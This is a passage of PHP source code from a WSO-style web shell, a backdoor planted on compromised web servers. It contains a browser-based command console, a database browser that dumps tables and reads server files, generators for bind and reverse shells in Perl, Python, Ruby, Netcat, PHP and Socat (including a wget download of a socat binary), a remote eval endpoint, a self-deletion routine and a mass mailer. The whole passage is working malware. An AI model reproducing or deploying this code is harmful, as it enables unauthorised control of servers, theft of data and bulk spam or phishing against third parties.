                                    $charsets = array_flip(array('UTF-8' => 'utf8', 'Windows-1251' => 'cp1251', 'Windows-1256' => 'cp1256', 'KOI8-R' => 'koi8r', 'KOI8-U' => 'koi8u', 'cp866' => 'cp866'));
                                    $temp = @iconv($charsets[$_POST['charset']], 'UTF-8', addcslashes("\n\$ " . $_POST['p1'] . "\n" . wsoEx($_POST['p1']), "\n\r\t\\'\0"));
                                    if (preg_match("!.*cd\\s+([^;]+)\$!", $_POST['p1'], $match)) {
                                        if (@chdir($match[1])) {
                                            $GLOBALS['cwd'] = @getcwd();
                                            echo "c_='" . $GLOBALS['cwd'] . "';";
                                        }
                                    }
                                    echo "d.cf.output.value+='{$temp}';d.cf.output.scrollTop=d.cf.output.scrollHeight;";
                                    $temp = ob_get_clean();
                                    echo strlen($temp), "\n", $temp;
                                    exit;
                                }
                                if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
                                    WSOcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
                                }
                                wsoHeader('Console');
                                echo "<script>\r\nif(window.Event) window.captureEvents(Event.KEYDOWN);\r\nvar cmds = new Array('');\r\nvar cur = 0;\r\nfunction kp(e){\r\n\tvar n = (window.Event) ? e.which : e.keyCode;\r\n\tif(n == 38){\r\n\t\tcur--;\r\n\t\tif(cur>=0)\r\n\t\t\td.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur++;\r\n\t} else if(n == 40){\r\n\t\tcur++;\r\n\t\tif(cur < cmds.length)\r\n\t\t\td.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur--;\r\n\t}\r\n}\r\nfunction add(cmd){\r\n\tcmds.pop();\r\n\tcmds.push(cmd);\r\n\tcmds.push('');\r\n\tcur = cmds.length-1;\r\n}\r\n</script>", "<form name=cf onsubmit=\"if(d.cf.cmd.value=='clear'){d.cf.output.value='';d.cf.cmd.value='';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,btoa(this.cmd.value),this.show_errors.checked?1:'');}else{g(null,null,btoa(this.cmd.value),this.show_errors.checked?1:'');} return false;\"><select name=alias>";
                                foreach ($GLOBALS['aliases'] as $n => $v) {
                                    if ($v == '') {
                                        echo '<optgroup label="-' . HSC($n) . '-"></optgroup>';
                                        continue;
                                    }
                                    echo '<option value="' . HSC($v) . "\">{$n}</option>";
                                }
                                echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
                                if (!empty($_POST['p1'])) {
                                    echo HSC('$ ' . $_POST['p1'] . "\n" . wsoEx($_POST['p1']));
                                }
                                echo "</textarea><table style=\"border:1px solid #df5;background-color:#555;border-top:0px;\" cellpadding=0 cellspacing=0 width=\"100%\"><tr><td width=\"1%\">\$</td><td><input type=text name=cmd style=\"border:0px;width:100%;\" onkeydown=\"kp(event);\"></td></tr></table></form></div><script>d.cf.cmd.focus();</script>";
                                wsoFooter();
                            }
                            function actLogout()
                            {
                                setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
                                die('bye!');
                            }
                            function actSelfRemove()
                            {
                                if ($_POST['p1'] == 'y') {
                                    if (@unlink("/var/www/html/input.php")) {
                                        die('Shell removed');
                                    }
                                    echo "unlink error!";
                                }
                                wsoHeader('Suicide');
                                echo "remove the shell?<br><a href=# onclick=\"g(null,null,'y')\">Yes</a></div>";
                                wsoFooter();
                            }
                            function actSql()
                            {
                                class DbClass
                                {
                                    var $type;
                                    var $link;
                                    function __construct($type)
                                    {
                                        $this->type = $type;
                                    }
                                    function connect($host, $user, $pass, $dbname, $charset)
                                    {
                                        switch ($this->type) {
                                            case 'mysqli':
                                                if (!function_exists('mysqli_connect')) {
                                                    break;
                                                }
                                                if ($this->link = @mysqli_connect($host, $user, $pass)) {
                                                    @mysqli_select_db($this->link, $dbname);
                                                    if (function_exists('mysqli_set_charset')) {
                                                        return @mysqli_set_charset($this->link, $charset);
                                                    } else {
                                                        $this->query('SET CHARSET ' . $charset);
                                                    }
                                                    return true;
                                                }
                                                break;
                                            case 'mysql':
                                                if (!function_exists('mysql_connect')) {
                                                    break;
                                                }
                                                if ($this->link = @mysql_connect($host, $user, $pass, true)) {
                                                    @mysql_select_db($db);
                                                    if (function_exists('mysql_set_charset')) {
                                                        return @mysql_set_charset($charset, $this->link);
                                                    } else {
                                                        $this->query("SET CHARSET {$charset}");
                                                    }
                                                    return true;
                                                }
                                                break;
                                            case 'pgsql':
                                                if (!function_exists('pg_connect')) {
                                                    break;
                                                }
                                                $host = explode(':', $host);
                                                if (!$host[1]) {
                                                    $host[1] = 5432;
                                                }
                                                if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user={$user} password={$pass} dbname={$dbname}")) {
                                                    @pg_set_client_encoding($this->link, $charset);
                                                    //TODO: could also do this in pg_connnect
                                                    return true;
                                                }
                                                break;
                                            case 'odbc':
                                                if (!function_exists('odbc_connect')) {
                                                    break;
                                                }
                                                $host = explode(':', $host);
                                                if (!$host[1]) {
                                                    $host[1] = 1433;
                                                }
                                                if ($this->link = @odbc_connect('Driver={SQL Server};Server={' . $host[0] . "," . $host[1] . '};Database={' . $dbname . '}', $user, $pass)) {
                                                    return true;
                                                }
                                                //TODO: add charset
                                                break;
                                        }
                                        $this->link = false;
                                        return false;
                                    }
                                    function get_connect_error()
                                    {
                                        switch ($this->type) {
                                            case 'mysqli':
                                                if (!function_exists('mysqli_connect_errno')) {
                                                    return 'SQL Connect Error: MySQLi PHP Extension not installed';
                                                }
                                                return "<p>SQL Connect Error | Number: " . @mysqli_connect_errno() . " | Message: " . @mysqli_connect_error() . "</p>";
                                            case 'mysql':
                                                if (!function_exists('mysql_errno')) {
                                                    return 'SQL Connect Error: MySQL PHP Extension not installed';
                                                }
                                                return "<p>SQL Connect Error | Number: " . @mysql_errno() . " | Message: " . @mysql_error() . "</p>";
                                            case 'pgsql':
                                                if (!function_exists('pg_last_error')) {
                                                    return 'SQL Connect Error: PostgreSQL PHP Extension not installed';
                                                }
                                                return "<p>SQL Connect Error | Message: " . @pg_last_error($this->link) . "</p>";
                                            case 'odbc':
                                                if (!function_exists('odbc_error')) {
                                                    return 'SQL Connect Error: ODBC PHP Extension not installed';
                                                }
                                                return "<p>SQL Connect Error | Number: " . @odbc_error() . " | Error Message: " . @odbc_errormsg() . "</p>";
                                        }
                                    }
                                    function query($str)
                                    {
                                        switch ($this->type) {
                                            case 'mysqli':
                                                return @mysqli_query($this->link, $str);
                                            case 'mysql':
                                                return @mysql_query($str);
                                            case 'pgsql':
                                                return @pg_query($this->link, $str);
                                            case 'odbc':
                                                return @odbc_exec($this->link, $str);
                                        }
                                        return false;
                                    }
                                    function fetch($res)
                                    {
                                        switch ($this->type) {
                                            case 'mysqli':
                                                return @mysqli_fetch_assoc($res);
                                            case 'mysql':
                                                return @mysql_fetch_assoc($res);
                                            case 'pgsql':
                                                return @pg_fetch_assoc($res);
                                            case 'odbc':
                                                return @odbc_fetch_array($res);
                                        }
                                        return false;
                                    }
                                    function listDbs()
                                    {
                                        switch ($this->type) {
                                            case 'mysqli':
                                            case 'mysql':
                                                return $this->query('SHOW databases');
                                            case 'pgsql':
                                                return $this->query('SELECT datname FROM pg_database WHERE datistemplate!=\'t\'');
                                        }
                                        return false;
                                    }
                                    function listTables()
                                    {
                                        switch ($this->type) {
                                            case 'mysqli':
                                            case 'mysql':
                                                return $this->query('SHOW TABLES');
                                            case 'pgsql':
                                                return $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
                                            case 'odbc':
                                                return $this->query('SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES ORDER BY TABLE_NAME;');
                                        }
                                        return false;
                                    }
                                    function error()
                                    {
                                        switch ($this->type) {
                                            case 'mysqli':
                                                return @mysqli_error($this->link);
                                            case 'mysql':
                                                return @mysql_error();
                                            case 'pgsql':
                                                return @pg_last_error();
                                            case 'odbc':
                                                return @odbc_errormsg($this->link);
                                        }
                                        return false;
                                    }
                                    function loadFile($str)
                                    {
                                        switch ($this->type) {
                                            case 'mysqli':
                                            case 'mysql':
                                                return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
                                            case 'pgsql':
                                                $res = $this->query('CREATE TABLE wso2(file text);COPY wso2 FROM \'' . addslashes($str) . '\';select file from wso2;');
                                                $r = array();
                                                while ($i = $this->fetch($res)) {
                                                    $r[] = $i['file'];
                                                }
                                                $this->query('drop table wso2');
                                                return array('file' => implode("\n", $r));
                                        }
                                        return false;
                                    }
                                    function dump($table, $fp = false)
                                    {
                                        switch ($this->type) {
                                            case 'mysqli':
                                            case 'mysql':
                                                $create = $this->fetch($this->query("SHOW CREATE TABLE `{$table}`"));
                                                $sql = $create['Create Table'] . ";\n";
                                                if ($fp) {
                                                    fwrite($fp, $sql);
                                                } else {
                                                    echo $sql;
                                                }
                                                $res = $this->query("SELECT * FROM `{$table}`");
                                                $i = 0;
                                                $head = true;
                                                while ($item = $this->fetch($res)) {
                                                    $sql = '';
                                                    if ($i % 1000 == 0) {
                                                        $head = true;
                                                        $sql = ";\n\n";
                                                    }
                                                    $columns = array();
                                                    foreach ($item as $k => $v) {
                                                        if ($v === null) {
                                                            $item[$k] = 'NULL';
                                                        } elseif (is_int($v)) {
                                                            $item[$k] = $v;
                                                        } else {
                                                            switch ($this->type) {
                                                                case 'mysql':
                                                                    $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
                                                                    break;
                                                                case 'mysqli':
                                                                    $item[$k] = "'" . @mysqli_real_escape_string($this->link, $v) . "'";
                                                                    break;
                                                            }
                                                        }
                                                        $columns[] = "`{$k}`";
                                                    }
                                                    if ($head) {
                                                        $sql .= "INSERT INTO `{$table}` (" . implode(", ", $columns) . ") VALUES \n\t(" . implode(', ', $item) . ')';
                                                        $head = false;
                                                    } else {
                                                        $sql .= ",\n\t(" . implode(', ', $item) . ')';
                                                    }
                                                    if ($fp) {
                                                        fwrite($fp, $sql);
                                                    } else {
                                                        echo $sql;
                                                    }
                                                    $i++;
                                                }
                                                if (!$head) {
                                                    if ($fp) {
                                                        fwrite($fp, ";\n\n");
                                                    } else {
                                                        echo ";\n\n";
                                                    }
                                                }
                                                break;
                                            case 'pgsql':
                                                $res = $this->query("SELECT * FROM {$table}");
                                                while ($item = $this->fetch($res)) {
                                                    $columns = array();
                                                    foreach ($item as $k => $v) {
                                                        $item[$k] = "'" . addslashes($v) . "'";
                                                        $columns[] = $k;
                                                    }
                                                    $sql = "INSERT INTO {$table} (" . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ");\n";
                                                    if ($fp) {
                                                        fwrite($fp, $sql);
                                                    } else {
                                                        echo $sql;
                                                    }
                                                }
                                                break;
                                        }
                                        return false;
                                    }
                                }
                                $type = $_POST['type'];
                                $base = $_POST['sql_base'];
                                $host = $_POST['sql_host'];
                                $login = $_POST['sql_login'];
                                $pwd = $_POST['sql_pass'];
                                $count = !empty($_POST['sql_count']);
                                $db = new DbClass($type);
                                if (!empty($host)) {
                                    $db->connect($host, $login, $pwd, $base, $_POST['charset']);
                                }
                                if ((@$_POST['p2'] == 'download' || @$_POST['p1'] == 'querydl') && @$_POST['p1'] != 'select') {
                                    if ($db->link) {
                                        if (empty($_POST['file']) || @$_POST['p1'] == 'querydl') {
                                            ob_start('ob_gzhandler', 4096);
                                            header('Content-Disposition: attachment; filename=dump.sql');
                                            header('Content-Type: text/plain');
                                            if (@$_POST['p1'] == 'querydl') {
                                                $res = $db->query(@$_POST['p2']);
                                                if ($res !== false) {
                                                    echo @$_POST['p2'] . "\n";
                                                    while ($item = $db->fetch($res)) {
                                                        end($item);
                                                        $lastkey = key($item);
                                                        reset($item);
                                                        foreach ($item as $key => $value) {
                                                            if ($value == null) {
                                                                echo "";
                                                            } else {
                                                                echo $value;
                                                            }
                                                            //escape newlines?
                                                            if ($key != $lastkey) {
                                                                echo "\t";
                                                            }
                                                        }
                                                        echo "\n";
                                                    }
                                                } else {
                                                    echo 'Error: ' . $db->error();
                                                }
                                                exit;
                                            }
                                            foreach ($_POST['tbl'] as $v) {
                                                $db->dump($v);
                                            }
                                            exit;
                                        } elseif ($fp = @fopen($_POST['file'], 'w')) {
                                            foreach ($_POST['tbl'] as $v) {
                                                $db->dump($v, $fp);
                                            }
                                            fclose($fp);
                                            unset($_POST['p2']);
                                        } else {
                                            die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
                                        }
                                    } else {
                                        echo $db->get_connect_error();
                                        exit;
                                    }
                                }
                                wsoHeader('SQL browser');
                                if (!empty($host) && !$db->link) {
                                    echo $db->get_connect_error();
                                }
                                echo "<script>\r\nfunction fs(f){\r\n\tvar nF = d.createElement('form');\r\n\tnF.style='display:none;'\r\n\tnF.method='post';\r\n\tfor(var i=0,element;element=f.elements[i++];){\r\n\t\tvar clone = element.cloneNode(true);\r\n\t\tclone.hidden=true;\r\n\t\tif(element.nodeName.toUpperCase()=='SELECT'){clone.value=element.value;}\r\n\t\tnF.appendChild(clone);\r\n\t}\r\n\tif(f.sql_base.value!='" . @base64_encode($base) . "'){\r\n\t\tif(nF.p1)nF.p1.value='';\r\n\t\tif(nF.p2)nF.p2.value='';\r\n\t\tif(nF.p3)nF.p3.value='';\r\n\t}\r\n\td.body.appendChild(nF);\r\n\tmg(nF);\r\n}\r\nfunction st(t,l){\r\n\td.sf.p1.value='select';\r\n\td.sf.p2.value=t;\r\n\tif(l&&d.sf.p3)d.sf.p3.value=l;\r\n\tfs(d.sf);\r\n}\r\nfunction ct(l){st('" . $_POST['p2'] . "',l)}\r\nfunction is(){for(i=0;i<d.sf.elements['tbl[]'].length;++i)d.sf.elements['tbl[]'][i].checked=!d.sf.elements['tbl[]'][i].checked;}</script>\r\n<form name=sf method=post onsubmit='fs(this);return false;'><table cellpadding=2 cellspacing=0><tr>\r\n<td>Type</td><td>Host(:Port)</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>\r\n<input type=hidden name=a value=Sql>\r\n<input type=hidden name=p1 value=query>\r\n<input type=hidden name=p2 value=''>\r\n<input type=hidden name=c value='" . HSC($GLOBALS['cwd']) . "'>\r\n<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n<td><select name=type><option value=bXlzcWxp" . ($type == 'mysqli' ? ' selected' : '') . ">MySQLi</option><option value='bXlzcWw='" . ($type == 'mysql' ? ' selected' : '') . ">MySQL</option><option value='cGdzcWw='" . ($type == 'pgsql' ? ' selected' : '') . ">PostgreSQL</option><option value='b2RiYw=='" . ($type == 'odbc' ? ' selected' : '') . '>ODBC</option></select></td>
<td><input type=text name=sql_host value="' . (empty($host) ? 'localhost' : HSC($host)) . '"></td>
<td><input type=text name=sql_login value="' . (empty($login) ? 'root' : HSC($login)) . '"></td>
<td><input type=text name=sql_pass value="' . HSC($pwd) . '"></td><td>';
                                if ($db->link) {
                                    echo "<select name=sql_base><option value=\"\"></option>";
                                    if ($db->type == 'odbc') {
                                        echo '<option value="' . base64_encode($base) . '" selected>' . $base . '</option>';
                                    } else {
                                        $res = $db->listDbs();
                                        while ($item = $db->fetch($res)) {
                                            list($key, $value) = each($item);
                                            echo '<option value="' . base64_encode($value) . '" ' . ($value == $base ? 'selected' : '') . ">{$value}</option>";
                                        }
                                    }
                                    echo "</select>";
                                } else {
                                    echo "<input type=text name=sql_base value=\"\">";
                                }
                                echo "</td><td><input type=submit value='>>'></td><td><input type=checkbox name=sql_count value=on" . ($count ? ' checked' : ' ') . "> count the number of rows</td></tr></table>";
                                if ($db->link) {
                                    if (!empty($base)) {
                                        echo "<br><table width=100% cellpadding=2 cellspacing=0><tr><td width=1><span>Tables:</span><br><br>";
                                        $tbls_res = $db->listTables();
                                        while ($item = $db->fetch($tbls_res)) {
                                            list($key, $value) = each($item);
                                            //TODO: could be paralellised?
                                            if ($count) {
                                                $n = $db->fetch($db->query("SELECT COUNT(*) as n FROM {$value}"));
                                            }
                                            $value = HSC($value);
                                            echo "<nobr><input type=checkbox name='tbl[]' value='{$value}'>&nbsp;<a href=# onclick=\"st('{$value}',1)\">{$value}</a>" . ($count ? " <small>({$n['n']})</small>" : '&nbsp;') . '</nobr><br>';
                                        }
                                        echo "<input type=checkbox onclick='is();'> <input type=button value='Dump to file' onclick='d.sf.p2.value=\"download\";fs(d.sf);return false;'><br><br>\r\n\t\t<input type=button value='Dump to browser' onclick='d.sf.p2.value=\"download\";d.sf.file.value=\"\";fs(d.sf);return false;'><br><br>\r\n\t\tFile path:<input type=text name=file value=dump.sql></td><td>";
                                        if (@$_POST['p1'] == 'select') {
                                            $_POST['p1'] = 'query';
                                            $tbl = $_POST['p2'];
                                            $page = $_POST['p3'] ? (int) $_POST['p3'] : 1;
                                            $num = $db->fetch($db->query("SELECT COUNT(*) as n FROM {$tbl}"));
                                            $pages = ceil($num['n'] / 30);
                                            echo "<script>d.sf.onsubmit=function(){ct(d.sf.p3.value)}</script><span>{$tbl}</span> ({$num['n']} records) Page # <input type=text name=p3 value={$page}><input type=button value='>>' onclick='ct(d.sf.p3.value);return false;'> of {$pages}";
                                            if ($page > 1) {
                                                echo " <a href=# onclick='ct(" . ($page - 1) . ")'>&lt; Prev</a>";
                                            }
                                            if ($page < $pages) {
                                                echo " <a href=# onclick='ct(" . ($page + 1) . ")'>Next &gt;</a>";
                                            }
                                            $page--;
                                            switch ($type) {
                                                case 'pgsql':
                                                    $_POST['p2'] = "SELECT * FROM {$tbl} LIMIT 30 OFFSET " . $page * 30;
                                                    break;
                                                case 'odbc':
                                                    $_POST['p2'] = "SELECT * FROM {$tbl} ORDER BY 1 OFFSET " . $page * 30 . ' ROWS FETCH NEXT 30 ROWS ONLY';
                                                    break;
                                                default:
                                                    $_POST['p2'] = "SELECT * FROM `{$tbl}` LIMIT " . $page * 30 . ',30';
                                                    break;
                                            }
                                            echo "<br><br>";
                                        }
                                        if (@$_POST['p1'] == 'query' && !empty($_POST['p2'])) {
                                            $res = $db->query(@$_POST['p2']);
                                            if ($res !== false) {
                                                $title = false;
                                                echo "<table width=100% cellspacing=1 cellpadding=2 class=main style=\"background-color:#292929\">";
                                                $line = 1;
                                                while ($item = $db->fetch($res)) {
                                                    if (!$title) {
                                                        echo "<tr>";
                                                        foreach ($item as $k => $v) {
                                                            echo "<th>{$k}</th>";
                                                        }
                                                        reset($item);
                                                        $title = true;
                                                        echo "</tr><tr>";
                                                        $line = 2;
                                                    }
                                                    echo "<tr class=l{$line}>";
                                                    $line = $line == 1 ? 2 : 1;
                                                    foreach ($item as $v) {
                                                        echo $v == null ? '<td><i>null</i></td>' : '<td>' . nl2br(HSC($v)) . '</td>';
                                                    }
                                                    echo "</tr>";
                                                }
                                                echo "</table>";
                                            } else {
                                                echo '<div><b>Error:</b> ' . HSC($db->error()) . '</div>';
                                            }
                                        }
                                        echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;mg(d.sf);return false;' name= querybox><textarea name=query style='width:100%;height:100px'>";
                                        if (!empty($_POST['p2']) && $_POST['p1'] != 'loadfile') {
                                            echo HSC($_POST['p2']);
                                        }
                                        echo "</textarea><br><input type=submit value=Execute><button type=button onclick='d.sf.p1.value=\"querydl\";d.sf.p2.value=d.querybox.query.value;mg(d.sf);return false;'>Execute and Download</button></form></td></tr></table></form>";
                                    }
                                    if (in_array($type, array('mysql', 'mysqli', 'pdo'))) {
                                        $res = $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`,'@',`host`) = USER() AND `File_priv`='y'");
                                        if ($db->fetch($res)) {
                                            echo "<br><form onsubmit='d.sf.p1.value=\"loadfile\";d.sf.p2.value=this.f.value;mg(d.sf);return false;'><span>Load file</span><input class=toolsInp type=text name=f><input type=submit value='>>'></form>";
                                        }
                                    }
                                    if (@$_POST['p1'] == 'loadfile') {
                                        $f = $db->loadFile($_POST['p2']);
                                        echo '<br><pre class=ml1>' . HSC($f['file']) . '</pre>';
                                    }
                                } else {
                                    echo "</form>";
                                }
                                echo "</div>";
                                wsoFooter();
                            }
                            function actNetwork()
                            {
                                wsoHeader('Network tools');
                                $port = rand(1025, 65534);
                                echo "<form name=nfp onSubmit=\"g(null,null,this.bctype.value,null,this.port.value);return false;\">\r\n<span>Bind port</span><br>\r\nType: <select name=bctype><option value=bpp>Perl</option><option value=bpnc>Netcat</option></select>\r\nPort: <input type=text name=port value={$port}> <input type=submit value='>>'>\r\n</form>\r\n<form name=nfp onSubmit=\"g(null,null,this.bctype.value,this.server.value,this.port.value);return false;\">\r\n<span>Back-connect</span><br>\r\nType: <select name=bctype><option value=bcphp>PHP</option><option value=bcp>Perl</option><option value=bcpy>Python</option><option value=bcpyudp>Python UDP Socat</option><option value=bcpytcp>Python TCP Socat</option><option value=bcuby>Ruby</option><option value=bcnc>Netcat</option><option value=bcsocat>Socat TTY</option></select>\r\nServer: <input type=text name=server value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type=text name=port value={$port}> <input type=submit value='>>'>\r\n</form>\r\n<span>Netcat command (run this on your server)</span><br>nc -l -vv -p {$port}<br>\r\n<span>Socat command (TCP)</span><br>socat file:`tty`,raw,echo=0 tcp-listen:{$port}<br>\r\n<span>Socat command (UDP)</span><br>socat file:`tty`,raw,echo=0 udp-listen:{$port}<br>";
                                $type = $_POST['p1'];
                                if ($type != '') {
                                    $port = $_POST['p3'];
                                    $addr = $_POST['p2'];
                                    $cmd = $chk = '';
                                    switch ($type) {
                                        case 'bpp':
                                            $cmd = "perl -e 'use Socket;socket(S,&PF_INET,&SOCK_STREAM,getprotobyname(\"tcp\"));setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);bind(S,sockaddr_in({$port},INADDR_ANY));listen(S,3);while(1){accept(CONN,S);if(!(\$pid=fork)){die \"Cannot fork\" if (!defined \$pid);open STDIN,\"<&CONN\";open STDOUT,\">&CONN\";open STDERR,\">&CONN\";exec \"/bin/sh -i\";close CONN;exit 0;}}' &";
                                            $chk = 'perl -e';
                                            break;
                                        case 'bcp':
                                            $cmd = "perl -e 'use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in({$port},inet_aton(\"{$addr}\")))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};' &";
                                            $chk = 'perl -e';
                                            break;
                                        case 'bcpy':
                                            $cmd = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{$addr}\",{$port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);' &";
                                            $chk = 'python -c';
                                            break;
                                        case 'bcruby':
                                            $cmd = "ruby -rsocket -e'f=TCPSocket.open(\"{$addr}\",{$port}).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)' &";
                                            $chk = 'ruby -rsocket';
                                            break;
                                        case 'bpnc':
                                        case 'bcnc':
                                            $cmd = "nc -e /bin/sh " . ($type == 'bcnc' ? $addr : '-lvp ') . " {$port} &";
                                            $chk = 'nc -e';
                                            break;
                                        case 'bcphp':
                                            $cmd = str_replace('q', $port, str_replace('z', $addr, 'set_time_limit(0);$w=null;if(function_exists("pcntl_fork")){$p=pcntl_fork();if($p||$p==-1||posix_setsid()==-1)exit();};umask(0);$s=fsockopen("z",q,$errno,$errstr,30);if(!$s)exit(1);$proc=proc_open("uname -a;id;/bin/sh -i",array(array("pipe","r"),array("pipe","w"),array("pipe","w")),$p);if(!is_resource($proc))exit(1);stream_set_blocking($p[0],0);stream_set_blocking($p[1],0);stream_set_blocking($p[2],0);stream_set_blocking($s,0);while(1){if(feof($s)||feof($p[1]))break;$r=array($s,$p[1],$p[2]);stream_select($r,$w,$w,null);if(in_array($s,$r))fwrite($p[0],fread($s,1400));if(in_array($p[1],$r))fwrite($s,fread($p[1],1400));if(in_array($p[2],$r))fwrite($s,fread($p[2],1400));};fclose($s);fclose($p[0]);fclose($p[1]);fclose($p[2]);proc_close($proc);'));
                                            eval($cmd);
                                            break;
                                        case 'bcpyudp':
                                        case 'bcpytcp':
                                            $cmd = "python -c 'import os,pty,socket;esc=\"%s[\"%chr(27);color=esc+\"1;36m\";reset=esc+\"0m\";s=socket.socket(socket.AF_INET,socket." . ($type == 'bcpyudp' ? 'SOCK_DGRAM' : 'SOCK_STREAM') . ");s.connect((\"{$addr}\",{$port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv(\"HISTFILE\",\"/dev/null\");os.putenv(\"HOME\",os.getcwd());os.putenv(\"PATH\",\"/usr/local/sbin:/usr/sbin:/sbin:/bin:/usr/local/bin:/usr/bin:\"+os.getenv(\"PATH\",\"\"));os.putenv(\"TERM\",\"linux\");os.putenv(\"PS1\",color+\"\\u@\\h:\\w\$ \"+reset);pty.spawn(\"/bin/bash\");s.close()' &";
                                            $chk = 'python -c';
                                            break;
                                        case 'bcsocat':
                                            $cmd = "if [ `command -v socat` ]; then `socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:{$addr}:{$port}`;else if [ `uname -m` == x86_64 ]; then wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; else wget -q https://github.com/ernw/static-toolbox/releases/download/1.03/socat-x86 -O /tmp/socat; fi;chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:{$addr}:{$port}; fi";
                                            $chk = 'socat';
                                            break;
                                    }
                                    if ($cmd != '' && $type != 'bcphp') {
                                        wsoEx($cmd);
                                        sleep(1);
                                        @unlink("/tmp/socat");
                                    }
                                    if ($chk != '') {
                                        echo "<pre class=ml1>" . wsoEx("ps aux | grep '{$chk}'") . "</pre>";
                                    }
                                    echo "<span>Command Used</span><pre class=ml1>{$cmd}</pre>";
                                }
                                echo "</div>";
                                wsoFooter();
                            }
                            function actRC()
                            {
                                if (!isset($_POST['p4'])) {
                                    $a = array('uname' => php_uname(), 'php_version' => phpversion(), 'wso_version' => '3', 'safemode' => @ini_get('safe_mode'));
                                    echo serialize($a);
                                }
                                @eval($_POST['p4']);
                            }
                            function actMailer()
                            {
                                wsoHeader('Mass Mailer');
                                if (isset($_POST['emaillist'])) {
                                    $emaillist = $_POST['emaillist'];
                                    $from = $_POST['from'];
                                    $replyto = $_POST['replyto'];
                                    $subject = stripslashes($_POST['subject']);
                                    $realname = $_POST['realname'];
                                    $file_name = $_FILES['file']['name'];
                                    $file = $_FILES['file']['tmp_name'];
                                    $file_type = $_FILES['file']['type'];
                                    $contenttype = $_POST['contenttype'];
                                    $message = stripslashes(urldecode(str_replace('%5C%22', '%22', urlencode($_POST['message']))));
                                }
                                echo "<form name=mailform method=post onsubmit='mg(this);return false;' enctype='multipart/form-data'><table width='100%' border=0><input type=hidden name=a value=Mailer><tr><td width='10%' align=right>From Email:</td><td width='18%'><input type=text name=from value='{$from}'></td><td width='31%' align=right>From Name:</td><td width='41%'><input type=text name=realname value='{$realname}'></td></tr><tr><td width='10%' align=right>Reply:</td><td width='18%'><input type=text name=replyto value='{$replyto}'></td><td width='31%' align=right>Attach File:</td><td width='41%'><input type=file name=file size=30></td></tr><tr><td width='10%' align=right>Subject:</td><td colspan=3><input type=text name=subject value='{$subject}' size=66></td></tr><tr><td width='10%' valign=top align=right>Message:</td><td width='18%' valign=top><textarea name=message cols=50 rows=10>{$message}</textarea><input name=contenttype type=radio value=plain>Text<input name=contenttype type=radio value=html checked>HTML<input type=submit value='Send Emails'></td><td width='31%' valign=top align=right>Mail to:</td><td width='41%' valign=top><textarea name=emaillist cols=30 rows=10>{$emaillist}</textarea></td></tr></table></form></div>";
                                if ($emaillist) {
                                    if (!$from && !$subject && !$message) {
                                        die('Please complete all fields before sending your message.');
                                    }
                                    $allemails = split("\n", $emaillist);
                                    $numemails = count($allemails);
                                    if ($file_name) {
                                        if (!file_exists($file)) {
                                            die('The file you are trying to upload could not be copied to the server');
                                        }
                                        $content = chunk_split(base64_encode(fread(fopen($file, 'r'), filesize($file))));
                                        $uid = strtoupper(md5(uniqid(time())));
                                    }
                                    for ($x = 0; $x < $numemails; $x++) {
                                        $to = $allemails[$x];
                                        if ($to) {
                                            $to = str_replace(' ', '', $to);
                                            print " {$to}.......";
                                            flush();
                                            $header = "From: {$realname} <{$from}>\r\nReply-To: {$replyto}\r\nMIME-Version: 1.0\r\n";
                                            if ($file_name) {
                                                $header .= "Content-Type: multipart/mixed;boundary={$uid}\r\n--{$uid}\r\n";
                                            }
                                            $header .= "Content-Type: text/{$contenttype}\r\nContent-Transfer-Encoding: 8bit\r\n\r\n{$message}\r\n";
                                            if ($file_name) {
                                                $header .= "--{$uid}\r\nContent-Type: {$file_type};name=\"{$file_name}\"\r\nContent-Transfer-Encoding: base64\r\nContent-Disposition: attachment; filename=\"{$file_name}\"\r\n\r\n{$content}\r\n--{$uid}--";
                                            }
                                            mail($to, $subject, "", $header);
                                            flush();
                                        }
                                    }
                                }
